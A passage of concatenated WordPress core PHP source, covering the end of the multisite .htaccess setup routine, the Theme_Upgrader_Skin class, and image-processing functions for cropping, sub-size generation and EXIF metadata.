		$ms_files_rewriting = '';
		if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
			$ms_files_rewriting  = "\n# uploaded files\nRewriteRule ^";
			$ms_files_rewriting .= $subdir_match . "files/(.+) {$rewrite_base}" . WPINC . "/ms-files.php?file={$subdir_replacement_12} [L]" . "\n";
		}

		$htaccess_file = <<<EOF
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase {$base}
RewriteRule ^index\.php$ - [L]
{$ms_files_rewriting}
# add a trailing slash to /wp-admin
RewriteRule ^{$subdir_match}wp-admin$ {$subdir_replacement_01}wp-admin/ [R=301,L]

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule ^{$subdir_match}(wp-(content|admin|includes).*) {$rewrite_base}{$subdir_replacement_12} [L]
RewriteRule ^{$subdir_match}(.*\.php)$ {$rewrite_base}$subdir_replacement_12 [L]
RewriteRule . index.php [L]

EOF;

		echo '<li><p id="network-htaccess-rules-description">';
		printf(
			/* translators: 1: File name (.htaccess or web.config), 2: File path. */
			__( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
			'<code>.htaccess</code>',
			'<code>' . $home_path . '</code>'
		);
		echo '</p>';
		if ( ! $subdomain_install && WP_CONTENT_DIR !== ABSPATH . 'wp-content' ) {
			echo '<p><strong>' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
		}
		?>
			<p class="configuration-rules-label"><label for="network-htaccess-rules">
				<?php
				printf(
					/* translators: %s: File name (wp-config.php, .htaccess or web.config). */
					__( 'Network configuration rules for %s' ),
					'<code>.htaccess</code>'
				);
				?>
			</label></p>
			<textarea id="network-htaccess-rules" class="code" readonly="readonly" cols="100" rows="<?php echo substr_count( $htaccess_file, "\n" ) + 1; ?>" aria-describedby="network-htaccess-rules-description"><?php echo esc_textarea( $htaccess_file ); ?></textarea>
		</li>
	</ol>

		<?php
	endif; // End IIS/Nginx/Apache code branches.

	if ( ! is_multisite() ) {
		?>
		<p><?php _e( 'Once you complete these steps, your network is enabled and configured. You will have to log in again.' ); ?> <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p>
		<?php
	}
}
<?php
/**
 * Upgrader API: Theme_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Upgrader_Skin extends WP_Upgrader_Skin {

	/**
	 * Holds the theme slug in the Theme Directory.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $theme = '';

	/**
	 * Constructor.
	 *
	 * Sets up the theme upgrader skin.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The theme upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'theme' => '',
			'nonce' => '',
			'title' => __( 'Update Theme' ),
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->theme = $args['theme'];

		parent::__construct( $args );
	}

	/**
	 * Performs an action following a single theme update.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		$this->decrement_update_count( 'theme' );

		$update_actions = array();
		$theme_info     = $this->upgrader->theme_info();
		if ( $theme_info ) {
			$name       = $theme_info->display( 'Name' );
			$stylesheet = $this->upgrader->result['destination_name'];
			$template   = $theme_info->get_template();

			$activate_link = add_query_arg(
				array(
					'action'     => 'activate',
					'template'   => urlencode( $template ),
					'stylesheet' => urlencode( $stylesheet ),
				),
				admin_url( 'themes.php' )
			);
			$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

			$customize_url = add_query_arg(
				array(
					'theme'  => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);

			if ( get_stylesheet() === $stylesheet ) {
				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
					$update_actions['preview'] = sprintf(
						'<a href="%s" class="hide-if-no-customize load-customize">' .
						'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
						esc_url( $customize_url ),
						__( 'Customize' ),
						/* translators: Hidden accessibility text. %s: Theme name. */
						sprintf( __( 'Customize &#8220;%s&#8221;' ), $name )
					);
				}
			} elseif ( current_user_can( 'switch_themes' ) ) {
				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
					$update_actions['preview'] = sprintf(
						'<a href="%s" class="hide-if-no-customize load-customize">' .
						'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
						esc_url( $customize_url ),
						__( 'Live Preview' ),
						/* translators: Hidden accessibility text. %s: Theme name. */
						sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name )
					);
				}

				$update_actions['activate'] = sprintf(
					'<a href="%s" class="activatelink">' .
					'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
					esc_url( $activate_link ),
					_x( 'Activate', 'theme' ),
					/* translators: Hidden accessibility text. %s: Theme name. */
					sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $name )
				);
			}

			if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() ) {
				unset( $update_actions['preview'], $update_actions['activate'] );
			}
		}

		$update_actions['themes_page'] = sprintf(
			'<a href="%s" target="_parent">%s</a>',
			self_admin_url( 'themes.php' ),
			__( 'Go to Themes page' )
		);

		/**
		 * Filters the list of action links available following a single theme update.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param string   $theme          Theme directory name.
		 */
		$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
<?php
/**
 * File contains all the administration image manipulation functions.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Crops an image to a given size.
 *
 * @since 2.1.0
 *
 * @param string|int   $src      The source file or Attachment ID.
 * @param int          $src_x    The start x position to crop from.
 * @param int          $src_y    The start y position to crop from.
 * @param int          $src_w    The width to crop.
 * @param int          $src_h    The height to crop.
 * @param int          $dst_w    The destination width.
 * @param int          $dst_h    The destination height.
 * @param bool|false   $src_abs  Optional. If the source crop points are absolute.
 * @param string|false $dst_file Optional. The destination file to write to.
 * @return string|WP_Error New filepath on success, WP_Error on failure.
 */
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
	$src_file = $src;
	if ( is_numeric( $src ) ) { // Handle int as attachment ID.
		$src_file = get_attached_file( $src );

		if ( ! file_exists( $src_file ) ) {
			/*
			 * If the file doesn't exist, attempt a URL fopen on the src link.
			 * This can occur with certain file replication plugins.
			 */
			$src = _load_image_to_edit_path( $src, 'full' );
		} else {
			$src = $src_file;
		}
	}

	$editor = wp_get_image_editor( $src );
	if ( is_wp_error( $editor ) ) {
		return $editor;
	}

	$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
	if ( is_wp_error( $src ) ) {
		return $src;
	}

	if ( ! $dst_file ) {
		$dst_file = str_replace( wp_basename( $src_file ), 'cropped-' . wp_basename( $src_file ), $src_file );
	}

	/*
	 * The directory containing the original file may no longer exist when
	 * using a replication plugin.
	 */
	wp_mkdir_p( dirname( $dst_file ) );

	$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

	$result = $editor->save( $dst_file );
	if ( is_wp_error( $result ) ) {
		return $result;
	}

	if ( ! empty( $result['path'] ) ) {
		return $result['path'];
	}

	return $dst_file;
}

/**
 * Compare the existing image sub-sizes (as saved in the attachment meta)
 * to the currently registered image sub-sizes, and return the difference.
 *
 * Registered sub-sizes that are larger than the image are skipped.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array[] Associative array of arrays of image sub-size information for
 *                 missing image sizes, keyed by image size name.
 */
function wp_get_missing_image_subsizes( $attachment_id ) {
	if ( ! wp_attachment_is_image( $attachment_id ) ) {
		return array();
	}

	$registered_sizes = wp_get_registered_image_subsizes();
	$image_meta       = wp_get_attachment_metadata( $attachment_id );

	// Meta error?
	if ( empty( $image_meta ) ) {
		return $registered_sizes;
	}

	// Use the originally uploaded image dimensions as full_width and full_height.
	if ( ! empty( $image_meta['original_image'] ) ) {
		$image_file = wp_get_original_image_path( $attachment_id );
		$imagesize  = wp_getimagesize( $image_file );
	}

	if ( ! empty( $imagesize ) ) {
		$full_width  = $imagesize[0];
		$full_height = $imagesize[1];
	} else {
		$full_width  = (int) $image_meta['width'];
		$full_height = (int) $image_meta['height'];
	}

	$possible_sizes = array();

	// Skip registered sizes that are too large for the uploaded image.
	foreach ( $registered_sizes as $size_name => $size_data ) {
		if ( image_resize_dimensions( $full_width, $full_height, $size_data['width'], $size_data['height'], $size_data['crop'] ) ) {
			$possible_sizes[ $size_name ] = $size_data;
		}
	}

	if ( empty( $image_meta['sizes'] ) ) {
		$image_meta['sizes'] = array();
	}

	/*
	 * Remove sizes that already exist. Only checks for matching "size names".
	 * It is possible that the dimensions for a particular size name have changed.
	 * For example the user has changed the values on the Settings -> Media screen.
	 * However we keep the old sub-sizes with the previous dimensions
	 * as the image may have been used in an older post.
	 */
	$missing_sizes = array_diff_key( $possible_sizes, $image_meta['sizes'] );

	/**
	 * Filters the array of missing image sub-sizes for an uploaded image.
	 *
	 * @since 5.3.0
	 *
	 * @param array[] $missing_sizes Associative array of arrays of image sub-size information for
	 *                               missing image sizes, keyed by image size name.
	 * @param array   $image_meta    The image meta data.
	 * @param int     $attachment_id The image attachment post ID.
	 */
	return apply_filters( 'wp_get_missing_image_subsizes', $missing_sizes, $image_meta, $attachment_id );
}

/**
 * If any of the currently registered image sub-sizes are missing,
 * create them and update the image meta data.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array|WP_Error The updated image meta data array or WP_Error object
 *                        if both the image meta and the attached file are missing.
 */
function wp_update_image_subsizes( $attachment_id ) {
	$image_meta = wp_get_attachment_metadata( $attachment_id );
	$image_file = wp_get_original_image_path( $attachment_id );

	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		/*
		 * Previously failed upload?
		 * If there is an uploaded file, make all sub-sizes and generate all of the attachment meta.
		 */
		if ( ! empty( $image_file ) ) {
			$image_meta = wp_create_image_subsizes( $image_file, $attachment_id );
		} else {
			return new WP_Error( 'invalid_attachment', __( 'The attached file cannot be found.' ) );
		}
	} else {
		$missing_sizes = wp_get_missing_image_subsizes( $attachment_id );

		if ( empty( $missing_sizes ) ) {
			return $image_meta;
		}

		// This also updates the image meta.
		$image_meta = _wp_make_subsizes( $missing_sizes, $image_file, $image_meta, $attachment_id );
	}

	/** This filter is documented in wp-admin/includes/image.php */
	$image_meta = apply_filters( 'wp_generate_attachment_metadata', $image_meta, $attachment_id, 'update' );

	// Save the updated metadata.
	wp_update_attachment_metadata( $attachment_id, $image_meta );

	return $image_meta;
}

/**
 * Updates the attached file and image meta data when the original image was edited.
 *
 * @since 5.3.0
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 * @access private
 *
 * @param array  $saved_data    The data returned from WP_Image_Editor after successfully saving an image.
 * @param string $original_file Path to the original file.
 * @param array  $image_meta    The image meta data.
 * @param int    $attachment_id The attachment post ID.
 * @return array The updated image meta data.
 */
function _wp_image_meta_replace_original( $saved_data, $original_file, $image_meta, $attachment_id ) {
	$new_file = $saved_data['path'];

	// Update the attached file meta.
	update_attached_file( $attachment_id, $new_file );

	// Width and height of the new image.
	$image_meta['width']  = $saved_data['width'];
	$image_meta['height'] = $saved_data['height'];

	// Make the file path relative to the upload dir.
	$image_meta['file'] = _wp_relative_upload_path( $new_file );

	// Add image file size.
	$image_meta['filesize'] = wp_filesize( $new_file );

	// Store the original image file name in image_meta.
	$image_meta['original_image'] = wp_basename( $original_file );

	return $image_meta;
}

/**
 * Creates image sub-sizes, adds the new data to the image meta `sizes` array, and updates the image metadata.
 *
 * Intended for use after an image is uploaded. Saves/updates the image metadata after each
 * sub-size is created. If there was an error, it is added to the returned image metadata array.
 *
 * @since 5.3.0
 *
 * @param string $file          Full path to the image file.
 * @param int    $attachment_id Attachment ID to process.
 * @return array The image attachment meta data.
 */
function wp_create_image_subsizes( $file, $attachment_id ) {
	$imagesize = wp_getimagesize( $file );

	if ( empty( $imagesize ) ) {
		// File is not an image.
		return array();
	}

	// Default image meta.
	$image_meta = array(
		'width'    => $imagesize[0],
		'height'   => $imagesize[1],
		'file'     => _wp_relative_upload_path( $file ),
		'filesize' => wp_filesize( $file ),
		'sizes'    => array(),
	);

	// Fetch additional metadata from EXIF/IPTC.
	$exif_meta = wp_read_image_metadata( $file );

	if ( $exif_meta ) {
		$image_meta['image_meta'] = $exif_meta;
	}

	// Do not scale (large) PNG images. May result in sub-sizes that have greater file size than the original. See #48736.
	if ( 'image/png' !== $imagesize['mime'] ) {

		/**
		 * Filters the "BIG image" threshold value.
		 *
		 * If the original image width or height is above the threshold, it will be scaled down. The threshold is
		 * used as max width and max height. The scaled down image will be used as the largest available size, including
		 * the `_wp_attached_file` post meta value.
		 *
		 * Returning `false` from the filter callback will disable the scaling.
		 *
		 * @since 5.3.0
		 *
		 * @param int    $threshold     The threshold value in pixels. Default 2560.
		 * @param array  $imagesize     {
		 *     Indexed array of the image width and height in pixels.
		 *
		 *     @type int $0 The image width.
		 *     @type int $1 The image height.
		 * }
		 * @param string $file          Full path to the uploaded image file.
		 * @param int    $attachment_id Attachment post ID.
		 */
		$threshold = (int) apply_filters( 'big_image_size_threshold', 2560, $imagesize, $file, $attachment_id );

		/*
		 * If the original image's dimensions are over the threshold,
		 * scale the image and use it as the "full" size.
		 */
		if ( $threshold && ( $image_meta['width'] > $threshold || $image_meta['height'] > $threshold ) ) {
			$editor = wp_get_image_editor( $file );

			if ( is_wp_error( $editor ) ) {
				// This image cannot be edited.
				return $image_meta;
			}

			// Resize the image.
			$resized = $editor->resize( $threshold, $threshold );
			$rotated = null;

			// If there is EXIF data, rotate according to EXIF Orientation.
			if ( ! is_wp_error( $resized ) && is_array( $exif_meta ) ) {
				$resized = $editor->maybe_exif_rotate();
				$rotated = $resized;
			}

			if ( ! is_wp_error( $resized ) ) {
				/*
				 * Append "-scaled" to the image file name. It will look like "my_image-scaled.jpg".
				 * This doesn't affect the sub-sizes names as they are generated from the original image (for best quality).
				 */
				$saved = $editor->save( $editor->generate_filename( 'scaled' ) );

				if ( ! is_wp_error( $saved ) ) {
					$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

					// If the image was rotated update the stored EXIF data.
					if ( true === $rotated && ! empty( $image_meta['image_meta']['orientation'] ) ) {
						$image_meta['image_meta']['orientation'] = 1;
					}
				} else {
					// TODO: Log errors.
				}
			} else {
				// TODO: Log errors.
			}
		} elseif ( ! empty( $exif_meta['orientation'] ) && 1 !== (int) $exif_meta['orientation'] ) {
			// Rotate the whole original image if there is EXIF data and "orientation" is not 1.

			$editor = wp_get_image_editor( $file );

			if ( is_wp_error( $editor ) ) {
				// This image cannot be edited.
				return $image_meta;
			}

			// Rotate the image.
			$rotated = $editor->maybe_exif_rotate();

			if ( true === $rotated ) {
				// Append `-rotated` to the image file name.
				$saved = $editor->save( $editor->generate_filename( 'rotated' ) );

				if ( ! is_wp_error( $saved ) ) {
					$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

					// Update the stored EXIF data.
					if ( ! empty( $image_meta['image_meta']['orientation'] ) ) {
						$image_meta['image_meta']['orientation'] = 1;
					}
				} else {
					// TODO: Log errors.
				}
			}
		}
	}

	/*
	 * Initial save of the new metadata.
	 * At this point the file was uploaded and moved to the uploads directory
	 * but the image sub-sizes haven't been created yet and the `sizes` array is empty.
	 */
	wp_update_attachment_metadata( $attachment_id, $image_meta );

	$new_sizes = wp_get_registered_image_subsizes();

	/**
	 * Filters the image sizes automatically generated when uploading an image.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added the `$image_meta` argument.
	 * @since 5.3.0 Added the `$attachment_id` argument.
	 *
	 * @param array $new_sizes     Associative array of image sizes to be created.
	 * @param array $image_meta    The image meta data: width, height, file, sizes, etc.
	 * @param int   $attachment_id The attachment post ID for the image.
	 */
	$new_sizes = apply_filters( 'intermediate_image_sizes_advanced', $new_sizes, $image_meta, $attachment_id );

	return _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id );
}

/**
 * Low-level function to create image sub-sizes.
 *
 * Updates the image meta after each sub-size is created.
 * Errors are stored in the returned image metadata array.
 *
 * @since 5.3.0
 * @access private
 *
 * @param array  $new_sizes     Array defining what sizes to create.
 * @param string $file          Full path to the image file.
 * @param array  $image_meta    The attachment meta data array.
 * @param int    $attachment_id Attachment ID to process.
 * @return array The attachment meta data with updated `sizes` array. Includes an array of errors encountered while resizing.
 */
function _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id ) {
	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		// Not an image attachment.
		return array();
	}

	// Check if any of the new sizes already exist.
	if ( isset( $image_meta['sizes'] ) && is_array( $image_meta['sizes'] ) ) {
		foreach ( $image_meta['sizes'] as $size_name => $size_meta ) {
			/*
			 * Only checks "size name" so we don't override existing images even if the dimensions
			 * don't match the currently defined size with the same name.
			 * To change the behavior, unset changed/mismatched sizes in the `sizes` array in image meta.
			 */
			if ( array_key_exists( $size_name, $new_sizes ) ) {
				unset( $new_sizes[ $size_name ] );
			}
		}
	} else {
		$image_meta['sizes'] = array();
	}

	if ( empty( $new_sizes ) ) {
		// Nothing to do...
		return $image_meta;
	}

	/*
	 * Sort the image sub-sizes in order of priority when creating them.
	 * This ensures there is an appropriate sub-size the user can access immediately
	 * even when there was an error and not all sub-sizes were created.
	 */
	$priority = array(
		'medium'       => null,
		'large'        => null,
		'thumbnail'    => null,
		'medium_large' => null,
	);

	$new_sizes = array_filter( array_merge( $priority, $new_sizes ) );

	$editor = wp_get_image_editor( $file );

	if ( is_wp_error( $editor ) ) {
		// The image cannot be edited.
		return $image_meta;
	}

	// If stored EXIF data exists, rotate the source image before creating sub-sizes.
	if ( ! empty( $image_meta['image_meta'] ) ) {
		$rotated = $editor->maybe_exif_rotate();

		if ( is_wp_error( $rotated ) ) {
			// TODO: Log errors.
		}
	}

	if ( method_exists( $editor, 'make_subsize' ) ) {
		foreach ( $new_sizes as $new_size_name => $new_size_data ) {
			$new_size_meta = $editor->make_subsize( $new_size_data );

			if ( is_wp_error( $new_size_meta ) ) {
				// TODO: Log errors.
			} else {
				// Save the size meta value.
				$image_meta['sizes'][ $new_size_name ] = $new_size_meta;
				wp_update_attachment_metadata( $attachment_id, $image_meta );
			}
		}
	} else {
		// Fall back to `$editor->multi_resize()`.
		$created_sizes = $editor->multi_resize( $new_sizes );

		if ( ! empty( $created_sizes ) ) {
			$image_meta['sizes'] = array_merge( $image_meta['sizes'], $created_sizes );
			wp_update_attachment_metadata( $attachment_id, $image_meta );
		}
	}

	return $image_meta;
}

/**
 * Copy parent attachment properties to newly cropped image.
 *
 * @since 6.5.0
 *
 * @param string $cropped              Path to the cropped image file.
 * @param int    $parent_attachment_id Parent file Attachment ID.
 * @param string $context              Control calling the function.
 * @return array Properties of attachment.
 */
function wp_copy_parent_attachment_properties( $cropped, $parent_attachment_id, $context = '' ) {
	$parent          = get_post( $parent_attachment_id );
	$parent_url      = wp_get_attachment_url( $parent->ID );
	$parent_basename = wp_basename( $parent_url );
	$url             = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

	$size       = wp_getimagesize( $cropped );
	$image_type = $size ? $size['mime'] : 'image/jpeg';

	$sanitized_post_title = sanitize_file_name( $parent->post_title );
	$use_original_title   = (
		( '' !== trim( $parent->post_title ) ) &&
		/*
		 * Check if the original image has a title other than the "filename" default,
		 * meaning the image had a title when originally uploaded or its title was edited.
		 */
		( $parent_basename !== $sanitized_post_title ) &&
		( pathinfo( $parent_basename, PATHINFO_FILENAME ) !== $sanitized_post_title )
	);
	$use_original_description = ( '' !== trim( $parent->post_content ) );

	$attachment = array(
		'post_title'     => $use_original_title ? $parent->post_title : wp_basename( $cropped ),
		'post_content'   => $use_original_description ? $parent->post_content : $url,
		'post_mime_type' => $image_type,
		'guid'           => $url,
		'context'        => $context,
	);

	// Copy the image caption attribute (post_excerpt field) from the original image.
	if ( '' !== trim( $parent->post_excerpt ) ) {
		$attachment['post_excerpt'] = $parent->post_excerpt;
	}

	// Copy the image alt text attribute from the original image.
	if ( '' !== trim( $parent->_wp_attachment_image_alt ) ) {
		$attachment['meta_input'] = array(
			'_wp_attachment_image_alt' => wp_slash( $parent->_wp_attachment_image_alt ),
		);
	}

	$attachment['post_parent'] = $parent_attachment_id;

	return $attachment;
}

/**
 * Generates attachment meta data and create image sub-sizes for images.
 *
 * @since 2.1.0
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 *
 * @param int    $attachment_id Attachment ID to process.
 * @param string $file          Filepath of the attached image.
 * @return array Metadata for attachment.
 */
function wp_generate_attachment_metadata( $attachment_id, $file ) {
	$attachment = get_post( $attachment_id );

	$metadata  = array();
	$support   = false;
	$mime_type = get_post_mime_type( $attachment );

	if ( preg_match( '!^image/!', $mime_type ) && file_is_displayable_image( $file ) ) {
		// Make thumbnails and other intermediate sizes.
		$metadata = wp_create_image_subsizes( $file, $attachment_id );
	} elseif ( wp_attachment_is( 'video', $attachment ) ) {
		$metadata = wp_read_video_metadata( $file );
		$support  = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' );
	} elseif ( wp_attachment_is( 'audio', $attachment ) ) {
		$metadata = wp_read_audio_metadata( $file );
		$support  = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' );
	}

	/*
	 * wp_read_video_metadata() and wp_read_audio_metadata() return `false`
	 * if the attachment does not exist in the local filesystem,
	 * so make sure to convert the value to an array.
	 */
	if ( ! is_array( $metadata ) ) {
		$metadata = array();
	}

	if ( $support && ! empty( $metadata['image']['data'] ) ) {
		// Check for existing cover.
		$hash   = md5( $metadata['image']['data'] );
		$posts  = get_posts(
			array(
				'fields'         => 'ids',
				'post_type'      => 'attachment',
				'post_mime_type' => $metadata['image']['mime'],
				'post_status'    => 'inherit',
				'posts_per_page' => 1,
				'meta_key'       => '_cover_hash',
				'meta_value'     => $hash,
			)
		);
		$exists = reset( $posts );

		if ( ! empty( $exists ) ) {
			update_post_meta( $attachment_id, '_thumbnail_id', $exists );
		} else {
			$ext = '.jpg';
			switch ( $metadata['image']['mime'] ) {
				case 'image/gif':
					$ext = '.gif';
					break;
				case 'image/png':
					$ext = '.png';
					break;
				case 'image/webp':
					$ext = '.webp';
					break;
			}
			$basename = str_replace( '.', '-', wp_basename( $file ) ) . '-image' . $ext;
			$uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] );
			if ( false === $uploaded['error'] ) {
				$image_attachment = array(
					'post_mime_type' => $metadata['image']['mime'],
					'post_type'      => 'attachment',
					'post_content'   => '',
				);
				/**
				 * Filters the parameters for the attachment thumbnail creation.
				 *
				 * @since 3.9.0
				 *
				 * @param array $image_attachment An array of parameters to create the thumbnail.
				 * @param array $metadata         Current attachment metadata.
				 * @param array $uploaded         {
				 *     Information about the newly-uploaded file.
				 *
				 *     @type string $file  Filename of the newly-uploaded file.
				 *     @type string $url   URL of the uploaded file.
				 *     @type string $type  File type.
				 * }
				 */
				$image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded );

				$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] );
				add_post_meta( $sub_attachment_id, '_cover_hash', $hash );
				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] );
				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
				update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id );
			}
		}
	} elseif ( 'application/pdf' === $mime_type ) {
		// Try to create image thumbnails for PDFs.

		$fallback_sizes = array(
			'thumbnail',
			'medium',
			'large',
		);

		/**
		 * Filters the image sizes generated for non-image mime types.
		 *
		 * @since 4.7.0
		 *
		 * @param string[] $fallback_sizes An array of image size names.
		 * @param array    $metadata       Current attachment metadata.
		 */
		$fallback_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata );

		$registered_sizes = wp_get_registered_image_subsizes();
		$merged_sizes     = array_intersect_key( $registered_sizes, array_flip( $fallback_sizes ) );

		// Force thumbnails to be soft crops.
		if ( isset( $merged_sizes['thumbnail'] ) && is_array( $merged_sizes['thumbnail'] ) ) {
			$merged_sizes['thumbnail']['crop'] = false;
		}

		// Only load PDFs in an image editor if we're processing sizes.
		if ( ! empty( $merged_sizes ) ) {
			$editor = wp_get_image_editor( $file );

			if ( ! is_wp_error( $editor ) ) { // No support for this type of file.
				/*
				 * PDFs may have the same file filename as JPEGs.
				 * Ensure the PDF preview image does not overwrite any JPEG images that already exist.
				 */
				$dirname      = dirname( $file ) . '/';
				$ext          = '.' . pathinfo( $file, PATHINFO_EXTENSION );
				$preview_file = $dirname . wp_unique_filename( $dirname, wp_basename( $file, $ext ) . '-pdf.jpg' );

				$uploaded = $editor->save( $preview_file, 'image/jpeg' );
				unset( $editor );

				// Resize based on the full size image, rather than the source.
				if ( ! is_wp_error( $uploaded ) ) {
					$image_file = $uploaded['path'];
					unset( $uploaded['path'] );

					$metadata['sizes'] = array(
						'full' => $uploaded,
					);

					// Save the meta data before any image post-processing errors could happen.
					wp_update_attachment_metadata( $attachment_id, $metadata );

					// Create sub-sizes saving the image meta after each.
					$metadata = _wp_make_subsizes( $merged_sizes, $image_file, $metadata, $attachment_id );
				}
			}
		}
	}

	// Remove the blob of binary data from the array.
	unset( $metadata['image']['data'] );

	// Capture file size for cases where it has not been captured yet, such as PDFs.
	if ( ! isset( $metadata['filesize'] ) && file_exists( $file ) ) {
		$metadata['filesize'] = wp_filesize( $file );
	}

	/**
	 * Filters the generated attachment meta data.
	 *
	 * @since 2.1.0
	 * @since 5.3.0 The `$context` parameter was added.
	 *
	 * @param array  $metadata      An array of attachment meta data.
	 * @param int    $attachment_id Current attachment ID.
	 * @param string $context       Additional context. Can be 'create' when metadata was initially created for new attachment
	 *                              or 'update' when the metadata was updated.
	 */
	return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id, 'create' );
}

/**
 * Converts a fraction string to a decimal.
 *
 * @since 2.5.0
 *
 * @param string $str Fraction string.
 * @return int|float Returns calculated fraction or integer 0 on invalid input.
 */
function wp_exif_frac2dec( $str ) {
	if ( ! is_scalar( $str ) || is_bool( $str ) ) {
		return 0;
	}

	if ( ! is_string( $str ) ) {
		return $str; // This can only be an integer or float, so this is fine.
	}

	// Fractions passed as a string must contain a single `/`.
	if ( substr_count( $str, '/' ) !== 1 ) {
		if ( is_numeric( $str ) ) {
			return (float) $str;
		}

		return 0;
	}

	list( $numerator, $denominator ) = explode( '/', $str );

	// Both the numerator and the denominator must be numbers.
	if ( ! is_numeric( $numerator ) || ! is_numeric( $denominator ) ) {
		return 0;
	}

	// The denominator must not be zero.
	if ( 0 == $denominator ) { // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual -- Deliberate loose comparison.
		return 0;
	}

	return $numerator / $denominator;
}

/**
 * Converts the exif date format to a unix timestamp.
 *
 * @since 2.5.0
 *
 * @param string $str A date string expected to be in Exif format (Y:m:d H:i:s).
 * @return int|false The unix timestamp, or false on failure.
 */
function wp_exif_date2ts( $str ) {
	list( $date, $time ) = explode( ' ', trim( $str ) );
	list( $y, $m, $d )   = explode( ':', $date );

	return strtotime( "{$y}-{$m}-{$d} {$time}" );
}

/**
 * Gets extended image metadata, exif or iptc as available.
 *
 * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
 * created_timestamp, focal_length, shutter_speed, and title.
 *
 * The IPTC metadata that is retrieved is APP13, credit, byline, created date
 * and time, caption, copyright, and title. Also includes FNumber, Model,
 * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
 *
 * @todo Try other exif libraries if available.
 * @since 2.5.0
 *
 * @param string $file
 * @return array|false Image metadata array on success, false on failure.
 */
function wp_read_image_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	list( , , $image_type ) = wp_getimagesize( $file );

	/*
	 * EXIF contains a bunch of data we'll probably never need formatted in ways
	 * that are difficult to use. We'll normalize it and just extract the fields
	 * that are likely to be useful. Fractions and numbers are converted to
	 * floats, dates to unix timestamps, and everything else to strings.
	 */
	$meta = array(
		'aperture'          => 0,
		'credit'            => '',
		'camera'            => '',
		'caption'           => '',
		'created_timestamp' => 0,
		'copyright'         => '',
		'focal_length'      => 0,
		'iso'               => 0,
		'shutter_speed'     => 0,
		'title'             => '',
		'orientation'       => 0,
		'keywords'          => array(),
	);

	$iptc = array();
	$info = array();
	/*
	 * Read IPTC first, since it might contain data not available in exif such
	 * as caption, description etc.
	 */
	if ( is_callable( 'iptcparse' ) ) {
		wp_getimagesize( $file, $info );

		if ( ! empty( $info['APP13'] ) ) {
			// Don't silence errors when in debug mode, unless running unit tests.
			if ( defined( 'WP_DEBUG' ) && WP_DEBUG
